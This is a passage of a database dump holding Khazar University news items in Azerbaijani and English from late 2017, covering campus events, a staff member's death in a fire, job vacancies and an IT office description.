etmişdir.</p><p>Tanınmış rəqqas olan Əlibəndə Əliyev Azərbaycan Dövlət Mahnı və Rəqs ansamblı, Xəzər Universitetinin Mahnı və Rəqs ansamblı və Azərbaycan Dövlət Uşaq Filarmoniyasında çalışıb. Rəqqas kimi 10-dan çox ölkədə Azərbaycan rəqs ansamblının tərkibində çıxış edib.</p><p>Son illərdə Xəzər Universiteti “Dünya” məktəbində oğlanlardan ibarət rəqs ansamblının rəhbəri vəzifəsində çalışan Əlibəndə Əliyev peşəkar fəaliyyəti və səmimi davranışı ilə məktəb kollektivinin və şagirdlərin böyük rəğbətini qazanmışdı.</p><p>“Dünya” məktəbi və Xəzər Universitetinin kollektivləri iş yoldaşları Əlibəndə Əliyevin faciəli fəfatından kədərləndiklərini bildirir və mərhumun ailəsinə dərin hüznlə başsağlığı verirlər.</p><p>Allah rəhmət eləsin!</p>'),(4435,2628,'az','Xəzər Universitetində xərçənglə mübarizəyə həsr olunmuş seminar keçirildi','2017-ci il noyabrın 10-da Xəzər Universiteti Doktorantura və Magistratura Assosiasiyasının təşkilatçılığı ilə təşkil edilmiş seminarda Xəzər Universitetinə...','<p>2017-ci il noyabrın 10-da Xəzər Universiteti Doktorantura və Magistratura Assosiasiyasının təşkilatçılığı ilə təşkil edilmiş seminarda Xəzər Universitetinə dəvət edilmiş həmyerlimiz Fransanın Besancon Universiteti xəstəxanasının tədqiqatçısı Dr.Kamal Əsgərov xərçəngə qarşı müasir müalicə metodlarından təqdimat etdi. O, xərçənginin müalicəsi üçün spesifik monoklonal antitellərin alınması, təsir mexanizmi və onların xərçəngə qarşı müalicəsində tədbiqi üsullarını vurğuladı. Seminarda universitetin müəllim, gənc tədqiqatçılar və tələbələri iştirak etmişdirlər. Seminar maraqlı müzakirələr ilə keçdi.</p>'),(4436,2629,'az','Xəzər Universitetinin müəllimi faciəli şəkildə həlak oldu','Xəbər verildiyi kimi, 2017-ci il noyabrın 11-nə keçən gecə Masazırda baş vermiş dəhşətli yanğın zamanı vəfat edən Xəzər Universitetinin...','<p>Xəbər verildiyi kimi, 2017-ci il noyabrın 11-nə keçən gecə Masazırda baş vermiş dəhşətli yanğın zamanı vəfat edən Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin rəqs müəllimi 37 yaşlı Əlibəndə Əliyev haqqında respublika KİV-də məlumat yayılmışdır.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://editor.az/abseronda-yanaraq-olən-səxs-taninmis-rəqqas-imis-foto/#Kalibri\">http://editor.az/abseronda-yanaraq-olənşəxs-taninmis-rəqqas-imis-foto</a></p><p><a href=\"http://www.gununsesi.info/azərbaycanli-rəqqas-yanaraq-oldu/\">http://www.gununsesi.info/azərbaycanli-rəqqas-yanaraq-oldu/</a></p><p><a href=\"http://www.unikal.org/w166507.html\">http://www.unikal.org/w166507.html</a></p><p><a href=\"http://bakipost.az/abseronda-taninmis-reqqas-yanaraq-ldu-foto/\">http://bakipost.az/abseronda-taninmis-reqqas-yanaraq-ldu-foto/</a></p><p><a href=\"http://sumqayitxeber.com/olke/abseronda-yanaraq-olen-sexs-taninmis-reqqas-imis-yenilenib-foto.html\">http://sumqayitxeber.com/olke/abseronda-yanaraq-olen-sexs-taninmis-reqqas-imis-yenilenib-foto.html</a>.</p>'),(4437,2630,'az','Xəzər Universitetində AESOP Erasmus+ layihəsinin monitorinqi baş tutdu','2017-ci il noyabrın 13-də Xəzər Universitetində Azərbaycanda Milli Erasmus+ Ofisi tərəfindən “Advocacy Establishment for Students through...','<p>2017-ci il noyabrın 13-də Xəzər Universitetində Azərbaycanda Milli Erasmus+ Ofisi tərəfindən “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) Erasmus+ layihəsinin monitorinqi keçirildi. Görüşdə Azərbaycanda Milli Erasmus+ Ofisinin nümayəndələri, Xəzər Universitetinin layihə koordinatoru Rima Məmmədova, Tələbə qəbul və məlumat şöbəsinin müdiri Lamiyə Namazova, İngilis dili və ədəbiyyatı departamenti müdirinin müavini Eynur Mehdiyev, Naxçıvan Dövlət Universitetinin Beynəlxalq Əlaqələr Ofisinin rəhbəri Röya Səfərova, Naxçıvan Universitetinin layihə koordinatoru Elmira Hüseynova və Gəncə Dövlət Universitetinin Beynəlxalq Əlaqələr Ofisinin direktoru Ruslan Məmmədov iştirak etdilər.</p><p>Görüş zamanı layihə koordinatoru Rima Məmmədova AESOP Erasmus+ layihəsi və Xəzər Universitetinin layihə çərçivəsində həyata keçirdiyi fəaliyyətlər haqqında geniş məlumat verdi. Həmçinin, Naxçıvan Dövlət Universiteti, Naxçıvan Universiteti və Gəncə Dövlət Universitetinin nümayəndələri də layihə çərçivəsində indiyədək gördükləri fəaliyyətlər haqqında hesabat verdilər.</p><p>Görüş universitetlər tərəfindən hesabatlar təqdim olunduqdan sonra müzakirələr ilə davam etdi.</p>'),(4439,2631,'en','Hamlet Isakhanli\'s poem published in \"First\" journal','Poem of Prof. Hamlet Isakhanli, founder of the Khazar University, Chairman of the Board of Directors and Trustees, was published...','<p style=\"text-align:justify\">Poem of Prof. Hamlet Isakhanli, founder of the Khazar University, Chairman of the Board of Directors and Trustees, was published on Exclusive publication of famous “FIRST” magazine dedicated to Holy Makkah.</p><p>Translator of the poem is Firangiz Nasirova and Arabic Advisor is Dr. Elnura Azizova.  <br></p>'),(4440,2632,'az','Xəzər Universitetində “The Chain” məlumat sessiyasi keçirildi','2017-ci il noyabrın 13-də “The Chain” (Zəncir) komandası Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunan Beynəlxalq...','<p>2017-ci il noyabrın 13-də “The Chain” (Zəncir) komandası Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunan Beynəlxalq Təhsil Həftəsi çərçivəsində universitetdə bir günlük məlumat sessiyası keçirdi. Bu sessiya zamanı komanda üzvləri üzərində işlədikləri sosial media kampaniyası haqqında universitetin işçi heyətini və tələbələri məlumatlandırdılar. Əsas məqsəd kampaniyanın əhatə dairəsini genişləndirmək, daha çox insanı məlumatlandırmaq və insanları dəstək olmağa çağırmaq idi.</p><p>Bu tədbir zamanı təxminən 100-ə yaxın insan kampaniyaya maraq göstərdi və layihənin brend fincanını qazanmaq şansını əldə etmək üçün qeydiyyatdan keçdilər. Eyni zamanda, iştirakçıların tədbir zamanı <strong><em>#iampartofthechain</em></strong> həştəqi ilə şəkil çəkdirib öz sosial media hesablarında paylaşması da əsas komponentlərdən biri idi. Layihə komandası bu həştəqdən istifadə edərək, daha çox insana çatmaq və kampaniyanın əhatəsini qloballaşdırmaq istəyir.</p><p>“The Chain” Xəzər Universitetinin tələbələri tərəfindən onlayn nifrət nitqi ilə mübarizə aparmaq üçün yaradılmış sosial media kampaniyasıdır. Kampaniya universitetin Facebook tərəfindən maliyyələşdirilən və EdVenture Partners şirkəti tərəfindən idarə olunan “P2P: Facebook Qlobal Rəqəmsal Çağırış” layihəsindəki iştirakı çərçivəsində həyata keçirilir.</p>'),(4445,2634,'az','“Xəzər”in məzunu “Caspian European Club”-a baş icraçı direktor təyin olundu','Azərbaycan xəbər saytları xəbər verir ki, Mustafa Abbasbəyli “Caspian European Club”-a yeni baş icraçı vəzifəsinə təyin edilmişdir...','<p>Azərbaycan xəbər saytları xəbər verir ki, Mustafa Abbasbəyli “Caspian European Club”-a yeni baş icraçı vəzifəsinə təyin edilmişdir. Qeyd edək ki, Mustafa Abbasbəyli 2000-ci ildə Xəzər Universiteti Hüquq fakültəsini beynəlxalq hüquq ixtisası üzrə bitirmişdir.</p><p>Xəbəri tam şəkildə bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://ru.apa.az/ekonomika-azerbaydjana/predprinimatelstvo/naznachen-novyj-glavnyj-ispolnitelnyj-direktor-caspian-european-club.html\">http://ru.apa.az/ekonomika-azerbaydjana/predprinimatelstvo/naznachen-novyj-glavnyj-ispolnitelnyj-direktor-caspian-european-club.html</a>;</p><p> <a href=\"http://www.abc.az/en/news/1985\">http://www.abc.az/en/news/1985</a>;</p><p><a href=\"http://bugun.az/news/103892/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html\">http://bugun.az/news/103892/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html</a>;</p><p><a href=\"https://report.az/biznes/caspian-european-club-a-bas-icraci-direktor-teyin-edilib/\">https://report.az/biznes/caspian-european-club-a-bas-icraci-direktor-teyin-edilib/</a>;</p><p><a href=\"http://salamnews.org/az/news/read/294966\">http://salamnews.org/az/news/read/294966</a>;</p><p><a href=\"http://interfax.az/view/718288\">http://interfax.az/view/718288</a>;</p><p> <a href=\"https://metbuat.az/news/829096/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html\">https://metbuat.az/news/829096/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html</a>.</p>'),(4444,2633,'az','Xəzər Universiteti ProMax-ın proqram təminatının modelləşdirmə prosesinin lisenziyasını aldı','Xəzər Universiteti ilə Brayn Tədqiqat və Mühəndislik (BR&E) məhdud məsuliyyətli cəmiyyətinin (MMC) arasında razılaşmaya əsasən...','<p style=\"text-align:center\"><img src=\"http://www.khazar.org/files/letters/br.png\" style=\"border:0px  #000000;width:452px;height:86px;vertical-align:text-bottom\">  <br></p><p>Xəzər Universiteti ilə Brayn Tədqiqat və Mühəndislik (BR&amp;E) məhdud məsuliyyətli cəmiyyətinin (MMC) arasında razılaşmaya əsasən, 2017-ci il dekabrın 6-dan 8-dək Xəzər Universitetində təlim keçiriləcək.</p><p>Məlumat üçün bildirək li, 40 ildən artıqdır ki, Bryan Texasda yerləşən Brayn Tədqiqat və Mühəndislik (BR&amp;E) məhdud məsuliyyətli cəmiyyətinin (MMC) enerji sənayesini qaz emalı, emal və neft-kimya proseslərinin dəqiq və səmərəli proqnozlaşdırılması qabiliyyəti ilə tanınan proses simulyasiya proqramı ilə təmin edir. Uzun bir araşdırma və inkişaf tarixini özündə birləşdirən şirkət müştərilərinin ən yaxşı simulyasiya vasitələrini almasını təmin edərək, onlara mükəmməllik zəmanəti verir.</p><p>ProMax Brayn Tədqiqat və Mühəndislik şirkətinin yaratdığı və bütün dünyada kimya və neft mühəndislərinin qaz emalı, neft emal və kimyəvi qurğuların layihələndirilməsi və optimallaşdırılmasında geniş istifadə etdiyi güclü və çox yönlü proses simulyasiya proqramı paketidir. Bu proqram müvafiq sənaye sahələrində baş verən hadisələri anlamaq üçün vacib olan bütün emal qurğusunun və əlaqədar dəstək sistemlərinin modelləşdirilməsi, istilik dəyişdiriciləri, turşu qazının çıxarılması sistemləri və digər proseslərin modelləşdirilməsi də daxil olmaqla, bir çox imkanlara malikdir.</p><p>Brayn Tədqiqat və Mühəndislik şirkəti və ProMax proqramı haqqında daha ətraflı məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.bre.com/Default.aspx\">https://www.bre.com/Default.aspx</a>.&nbsp;</p>'),(4446,2635,'az','Xəzər Universitetinin doktorantının müsahibəsi yayınlandı','2017-ci il noyabrın 14-də Ordu.az saytı Xəzər Universitetinin doktorantı, Pakistanın Azərbaycandakı hərbi attaşesinin həyat yoldaşı...','<p>2017-ci il noyabrın 14-də <strong><em>Ordu.az</em></strong> saytı Xəzər Universitetinin doktorantı, Pakistanın Azərbaycandakı hərbi attaşesinin həyat yoldaşı Səna İmranla aparılmış müsahibəni yayınlamışdır.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://ordu.az/az/news/122934/atet-qarabag-ve-kesmir-munaqiselerinin-helline-yardim-etmelidir-sena-imran-musahibe\">http://ordu.az/az/news/122934/atet-qarabag-ve-kesmir-munaqiselerinin-helline-yardim-etmelidir-sena-imran-musahibe</a>.</p>'),(4447,2636,'az','\"Xəzər Universitetində Birinci Çin Həftəsi” adlı tədbir keçiriləcək','2017-ci il dekabrın 4-dən 7-dək Xəzər Universiteti Kitabxana-İnformasiya Mərkəzi “Çin guşəsi” layihəsi çərçivəsində “Xəzər Universitetində...','<p style=\"text-align:justify\">2017-ci il dekabrın 4-dən 7-dək Xəzər Universiteti Kitabxana-İnformasiya Mərkəzi “Çin guşəsi” layihəsi çərçivəsində “Xəzər Universitetində Birinci Çin Həftəsi” adlı tədbir keçirəcək. 4 gün davam edəcək tədbirdə tələbələrə Qədim Çin mədəniyyətindən nümunələr, Çin mətbəxi, Qədim Çin oyunları, yazı və rəsm mədəniyyəti nümayiş etdiriləcək.</p>'),(4448,2637,'az','Xəzər Universitetinin professoru Azərbaycanın neft-qaz siyasətindən danışdı','Mövqe.az xəbər saytı Avropa ilə Azərbaycan arasında enerji siyasətinə həsr olunmuş “Avropanın Azərbaycana ehtiyacı artır...','<p><em><strong>Mövqe.az</strong></em> xəbər saytı Avropa ilə Azərbaycan arasında enerji siyasətinə həsr olunmuş “Avropanın Azərbaycana ehtiyacı artır” adlı məqalədə Xəzər Universitetinin professoru, neft-qaz geosiyasəti üzrə mütəxəssis Fuat Rəsulovun fikirlərinə yer vermişdir.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.movqe.az/news/siyaset/109210.html\"></a><a href=\"http://www.movqe.az/news/siyaset/109210.html\">http://www.movqe.az/news/siyaset/109210.html</a>.  </p>'),(4449,2638,'en','Vacancy: Career Center','Khazar University is seeking a qualified applicant to fill a managerial position at Career Center for the Academic year of 2017-2018...','<p style=\"text-align:justify\">Khazar University is seeking a qualified applicant to fill a managerial position at Career Center for the Academic year of 2017-2018. All MS degree holders in Management or Human Resource are encouraged to apply. Good English knowledge is a must for this position. Contract will be renewable based on yearly performance report.</p><p>All interested candidates are encouraged to apply by sending their CV to: <strong style=\"color:#0000cc\"><span style=\"text-decoration:underline\">rectorassistant@khazar.org</span></strong> by <strong><em>December 10, 2017</em></strong>.</p>'),(4450,2639,'az','Statistika Şurasının üzvü professor Hamlet İsaxanlı şuranın iclasında iştirak etdi','Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü, Xəzər Universitetinin təsisçisi, Direktorlar...','<p>Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı 2017-ci il noyabrın 15-də şuranın iclasında iştirak etmişdir.</p><p>İclasda əhalinin siyahıyaalınması ilə bağlı sorğu, siyahıyaalma vərəqələrinə daxil ediləcək suallar və “Rəsmi statistika haqqında” AR-nın Qanununa əlavə və dəyişikliklər müzakirə olunmuşdur. Professor H.İsaxanlı müzakirə olunan məsələlərə dair öz təklif və fikirlərini bildirmişdir. O, əhali arasında xoşbəxtlik səviyyəsinin ölçülməsi məqsədilə sorğu keçirilməsini də təklif etmişdir.</p>'),(4453,2630,'en','Monitoring of AESOP Erasmus+ project at Khazar University','On November 13, 2017, the monitoring of Erasmus+ project \"Advocacy Establishment for Students through Ombudsman Position\" (AESOP)...','<p>On November 13, 2017, the monitoring of Erasmus+ project \"<em>Advocacy Establishment for Students through Ombudsman Position</em>\" (AESOP) was conducted at Khazar University by the National Erasmus+ Office in Azerbaijan. The meeting was attended by the representatives of the National Erasmus+ Office in Azerbaijan, Rima Mammadova, a Project Manager of Khazar University, Lamiya Namazova, Head of Student Admission Office, Eynur Mehdiyev, vice-chair of English language and Literature department, Roya Safarova, Head of International Relations Office of Nakhchivan State University, Elmira Huseynova, Project coordinator of Nakhchivan University and Ruslan Mammadov, Head of International Relations Office of Ganja State University.</p><p>During the meeting, Rima Mammadova, a project coordinator, gave detailed information about AESOP Erasmus + project and activities carried out by Khazar University within the project. The representatives of Nakhchivan State University, Nakhchivan University and Ganja State University reported on their activities as well.</p><p>Some important issues related to the project were discussed after the reports were delivered by the universities.</p>'),(4451,2639,'en','Prof. Hamlet Isakhanli, member of Statistical Council, attends the Council’s meeting','Prof. Hamlet Isakhanli, a member of the Statistical Council under the State Statistical Committee of the Republic of Azerbaijan, the founder of Khazar...','<p>Prof. Hamlet Isakhanli, a member of the Statistical Council under the State Statistical Committee of the Republic of Azerbaijan, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in the Council’s meeting on November 15, 2017.</p><p>The following issues such as <em>the questionnaires on population census, the questions to be included in the census sheets, and the amendments to the Law of Azerbaijan Republic on Official Statistics</em> were discussed at the meeting. Prof. H.Isakhanli expressed his views and suggestions on the discussed issues. He also proposed conducting a survey to measure the level of happiness among the population.</p>'),(4452,2640,'az','Vakansiya: Kitabxana-İnformasiya Mərkəzinə kitabxanaçı tələb olunur','Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi kitabxanaçı vəzifəsi üçün müsabiqə elan edir...','<p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi kitabxanaçı vəzifəsi üçün müsabiqə elan edir. Müsabiqədə iştirak etmək üçün kitabxanaçılıq üzrə ali təhsilin olması vacibdir.</p><p>Kitabxanaçının vəzifələrinə daxildir:</p><p></p><ul><li>istifadəçiləri kitabxananın müxtəlif resursları ilə tanış etmək;</li><li>kitabxanaya daxil olan informasiya resurslarının qeydiyyatını aparmaq, MARC formatında e-kataloqa daxil etmək;</li><li>müəllim və tələbə heyətinə elektron biblioqrafik məlumat bazasında axtarışlarda kömək etmək;</li><li>kitabxana tədbirlərində fəal iştirak etmək;</li><li>kitabxana işi ilə bağlı gündəlik işləri yerinə yetirmək;</li><li>digər vəzifələr.</li></ul><p></p><p>Müsabiqədə iştirak etmək istəyənlər Azərbaycan dilini mükəmməl şəkildə bilməli, ingilis dilində olan mətnləri başa düşməli, ofis proqramlarında işləməyi, ünsiyyət qurmağı, gərgin iş rejimində işləməyi bacarmalıdırlar. Namizəd məsuliyyətli olmalı, işləri vaxtlı-vaxtında və peşəkarlıqla görməlidir. Müsabiqədə iştirak etmək istəyənlər məktub və CV-ni <strong style=\"color:#0000cc\"><span style=\"text-decoration:underline\">amiskerli@khazar.org</span></strong> elektron poçt ünvanına göndərsinlər.</p><p>Son müraciət tarixi <em><strong>2017-ci il dekabrın 1</strong></em>-dir.</p>'),(4640,2756,'az','“Azərbaycanda iqtisadi islahatlar” mövzusunda mühazirə təşkil edildi','2017-ci il dekabr 19-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsi və İqtisadi İslahatların Təhlili...','<p>2017-ci il dekabr 19-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsi və İqtisadi İslahatların Təhlili və Kommunikasiya Mərkəzinin birgə təşəbbüsü ilə universitetin “Mərmər” zalında “Azərbaycanda iqtisadi islahatlar” mövzusunda ictimai mühazirə təşkil edildi. İctimai mühazirənin məqsədi Azərbaycan Respublikasında həyata keçirilən iqtisadi islahatlar barədə akademik dairələri məlumatlandırmaq idi.</p><p>Tədbirin açılışını İqtisadiyyat və menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov etdi. O, Azərbaycanda qeyri-neft sektorunun və ixracın şaxələnməsində, insan kapitalının inkişafında strateji yol xəritələrinin böyük rolu olduğunu və ölkədə aparılan islahat prosesi barədə gənclərin maariflənməsinin vacibliyini vurğuladı.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs iştirakçıları salamladı və davamlı iqtisadi inkişafa qeyri-neft sektorunun töhfəsindən danışdı.</p><p>Xəzər Universitetinin Akademik işlər üzrə prorektoru professor Məhəmməd Nuriyev isə strateji yol xəritələrinin qəbul edilməsinin və islahat prosesinə zamanında start verilməsinin Azərbaycanın dünyada cərəyan edən böhran vəziyyətindən sabit çıxmasına səbəb olmasını və islahat prosesində bilik və insan kapitalına xüsusi diqqətin yönəlməsini nəzərə çatdırdı.</p><p>İqtisadi İslahatların Təhlili və Kommunikasiya Mərkəzinin icraçı direktoru Dr. Vüsal Qasımlı Azərbaycan Respublikasının Prezidenti İlham Əliyevin 2016-ci il 6 dekabr tarixli “Milli iqtisadiyyat və iqtisadiyyatın əsas sektorları üzrə strateji yol xəritələrinin təsdiq edilməsi haqqında” Fərmanı ilə təsdiqlənən strateji yol xəritələri barədə professor-müəllim heyəti və tələbələrlə fikir mübadiləsi apardı.</p><p>Tədbir ictimai mediada da işıqlandırılmışdır:</p><p> <a href=\"https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise_iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/\">https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise-iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/</a>.</p>'),(4454,2641,'az','Tarixçi məzunlarla görüş keçirildi','2017-ci il noyabrın 15-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 2012-2016-cı il məzunları onlara doğma olan Tarix və arxeologiya','<p>2017-ci il noyabrın 15-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 2012-2016-cı il məzunları onlara doğma olan Tarix və arxeologiya departamentini ziyarət etdilər. Departamentin müdiri Roza xanım Arazova ilə keçmiş xatirələri yada salıb, söhbət etdilər. Xoş təsadüf idi ki, onlara vaxtikən dərs demiş Orxan Zamanov da departamentdə idi. Məzunlardan bəziləri artıq müəllim kimi fəaliyyət göstərir, bəziləri isə təhsillərini magistratura pilləsində davam etdirirlər. Keçmiş tələbələrini görmək Roza xanıma və Orxan müəllimə də çox xoş oldu.</p>'),(4455,2642,'az','Mübadilə imkanları haqqında məlumat sessiyası','2017-ci il noyabrın 15-də Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin heyəti tələbələr üçün mübadilə imkanları haqqında məlumat sessiyası keçirdi...','<p>2017-ci il noyabrın 15-də Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin heyəti tələbələr üçün mübadilə imkanları haqqında məlumat sessiyası keçirdi. Bu sessiyanı keçirməkdə əsas məqsəd tələbələr üçün yaradılan xaricdə təhsil imkanları, mübadilə proqramları haqqında ətraflı məlumat vermək və onlara bu imkanlardan necə yararlanmağın yollarını izah etmək idi. Şöbənin koordinatoru Günay Fərzəliyeva sessiya zamanı Erasmus+ və Mevlana mübadilə proqramlarından bəhs etdi. O, bu günə qədər proqramlardan yararlanmış tələbələrdən də nümunə gətirərək, mübadilə proqramlarının üstünlüklərindən danışdı. Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova tələbələri proqramlara müraciət edərkən diqqət etməli olduqları məqamlar haqqında məlumatlandırdı.</p><p>Görüş sual-cavab ilə yekunlaşdı.</p><p>Məlumat sessiyası Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunan Beynəlxalq Təhsil Həftəsi (13-17 noyabr) çərçivəsində keçirilən 3-cü tədbir idi.  <br></p>'),(4456,2642,'en','Info Session about Exchange Opportunities','On November 15, 2017, the International Affairs Office of Khazar University held an information session about exchange opportunities for students...','<p>On November 15, 2017, the International Affairs Office of Khazar University held an information session about exchange opportunities for students. The purpose of this session was to provide detailed information about studying abroad, exchange programs and explain how the students can benefit from these opportunities. Gunay Farzaliyeva spoke about Erasmus+<strong style=\"font-style:italic\">&nbsp;</strong>and Mevlana exchange programs and emphasized the advantages of exchange programs by providing examples of the students who were on an exchange. Turan Jafarova, the head of International Affairs Office, informed students about do’s and don’ts while applying for the exchange programs.&nbsp;</p><p>The event ended with a question and answer session.</p><p>The info session was the third event within the International Education Week (13-17 November) organized by the International Affairs Office.  <br></p>'),(4457,2643,'az','Xəzər StartUp layihəsinin qalibləri ilə görüş keçirildi','2017-ci il noyabrın 16-da Xəzər Universitetində Xəzər StartUp layihəsinin qalibləri ilə görüş keçirildi. Görüşdə Xəzər Universitetinin rektoru Dr.Hassan Niknafs...','<p>2017-ci il noyabrın 16-da Xəzər Universitetində <strong>Xəzər StartUp</strong> layihəsinin qalibləri ilə görüş keçirildi. Görüşdə Xəzər Universitetinin rektoru Dr.Hassan Niknafs, Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev, Elmi işlər üzrə prorektor Dr.İradə Xəlilova və müsabiqə komissiyasının üzvləri iştirak edirdilər.</p><p>Rektor Dr.Hassan Niknafs qalibləri təbrik edərək, onlara sertifikatları və pul mükafatlarını təqdim etdi. Görüşün yekununda qaliblərlə layihələrinin tətbiqi yolları ətrfında müzakirələr aparıldı.</p>'),(4458,2644,'az','KİM-in əməkdaşı AKİK-in iclasında iştirak etdi','2017-ci il noyabrın 16-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli Azərbaycan Kitabxana və İnformasiya...','<p>2017-ci il noyabrın 16-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli Azərbaycan Kitabxana və İnformasiya Konsorsiumunun iclasında iştirak etdi. İclasda akademik kitabxanaların müxtəlif sahələrdə fəaliyyətinin artırılması, eləcə də beynəlxalq əməkdaşlıq, tədqiqat, təlim, reklam kimi məsələlər müzakirə olunmuşdur.</p>'),(4459,2645,'az','Elmi işin və elmi məqalələrin yazılması qaydaları ilə əlaqədar seminar təşkil ediləcək','23.11.2017-ci il noyabrın 23-ü saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura Birliyi doktorluq elmi işinin və elmi məqalələrin yazılması qaydaları...','<p>23.11.2017-ci il noyabrın 23-ü saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura Birliyi doktorluq elmi işinin və elmi məqalələrin yazılması qaydaları ilə əlaqədar seminar təşkil edəcək. Universitetin Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev və Babək Əlibəyov seminarda praktiki və nəzəri bilikləri təqdim edəcəklər.</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) baş tutacaq.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(4460,2644,'en','Library-Information Centre employee at a meeting of Azerbaijan Library and Information Consortium','On November 16, 2017, Aytac Misgarli, vice director of Library-Information Center, Khazar University, attends a meeting of Azerbaijan Library...','<p>On November 16, 2017, Aytac Misgarli, vice director of Library-Information Center, Khazar University, attends a meeting of Azerbaijan Library and Information Consortium. The issues such as increasing the activities of academic libraries in various fields, international cooperation, research, training and advertising were discussed at the meeting.</p>'),(4461,2643,'en','Meeting with Khazar StartUp Project Winners','On November 16, 2017, a meeting with Khazar StartUp Project winners was held. Dr Hassan Niknafs, the rector of Khazar University...','<p>On November 16, 2017, a meeting with <strong>Khazar StartUp</strong> Project winners was held. Dr Hassan Niknafs, the rector of Khazar University, Professor Mahammad Nuriyev, vice rector of Khazar University for Academic Affairs, Assoc. Prof. Irada Khalilova, vice rector for Research and the members of the competition commission participated in the meeting.</p><p>Dr Hassan Niknafs congratulated the winners and presented them certificates and cash prizes. At the end of the meeting, discussions were held with the winners on the ways of implementing the awarded projects.</p>'),(4462,2641,'en','Meeting with historian graduates','On November 15, 2017, the 2012-2016 graduates, majoring in History Studies within the School of Education, Khazar University, visited their favourite...','<p>On November 15, 2017, the 2012-2016 graduates, majoring in History Studies within the School of Education, Khazar University, visited their favourite History and Archeology Department. They had a talk with Rosa Arazova, head of the department, reminiscing past memories. It was a pleasant coincidence that Orkhan Zamanov, who had been their previous lecturer, was in the department. Some of the graduates are currently working as teachers and some of them are pursuing their Master\'s degree. Rosa khanim and Orkhan Zamanov were really pleased to see their former students.</p>'),(4463,2637,'en','Professor of Khazar University spoke about Azerbaijan\'s Oil and Gas Policy','Movqe.az news website released the views by Fuat Rasulov, professor of Khazar University, an expert in Oil and Gas Geopolitics...','<p><strong><em>Movqe.az </em></strong>news website released the views by Fuat Rasulov, professor of Khazar University, an expert in Oil and Gas Geopolitics, in the article “Europe\'s need for Azerbaijan is growing” related to Energy Policy between Europe and Azerbaijan.</p><p>The full text of an article is available through the link below:</p><p><a href=\"http://www.movqe.az/news/siyaset/109210.html\">http://www.movqe.az/news/siyaset/109210.html</a>.  <br></p>'),(4464,2636,'en','\"First Chinese Week at Khazar University\" to be held','On December 4-7, 2017, an event “First Chinese Week at Khazar University” will be held within the framework of “China Corner” project hosted by...','On December 4-7, 2017, an event “First Chinese Week at Khazar University” will be held within the framework of “China Corner” project hosted by Khazar University Library-Information Centre. During the 4-day event, students will be shown examples of ancient Chinese culture, Chinese cuisine, Ancient Chinese games, Writing and Painting culture.'),(4475,2655,'az','İnformasiya Texnologiyaları Şöbəsi','İnformasiya Texnologiyaları Şöbəsi','<p>İnformasiya Texnologiyaları departamentinin fəaliyyəti bu sahədə bir neçə əsas istiqamətdə ayrılır:</p><br><ul><li>Serverlərin tətbiqi;</li><li>İnformasiya Sistemlərinin tətbiqi;</li><li>İnformasiya təhlükəsizliyinin qorunması;</li><li>İstifadəçilərin təhlükəsizliyi;</li></ul><br><p>Departament öz növbəsində İT parkına aid olan bütün avandanlıqların düzgün qaydada çalışmasını, vaxtı vaxtında yenilənməsini, yarana biləcək problemlərin öncədən qarşısın alınmasını və istifadəçilərin rahat və problemsiz İT avadanlıqları ilə işləməsini təmin edir. Departament informasiya məxfiliyinin, habelə oğurlanmasının infrasturuktura dəyə biləcək ziyanı internet və lokal istiqamətdə analiz edir və qarşısını alır. Ziyan verici proqram təminatları, viruslar və internet üzərindən gələn hücumların qarşısını alır və mütəmadi&nbsp; olaraq təhlükəsizliyini artırır.</p>'),(4476,2655,'en','Information Technology Office','Information Technology Office','<p>Activities of Department of Information Technologies are classified into several groups:</p><p></p><ul><li>Application of servers;</li><li>Application of Information Systems;</li><li>Information security;</li><li>User security.</li></ul><p></p>\r\n<p>Department also deals with maintenance of all the devices in IT park, updates devices on a regular base, prevents possible problems and assure proper use of IT technologies. Department also analyses information 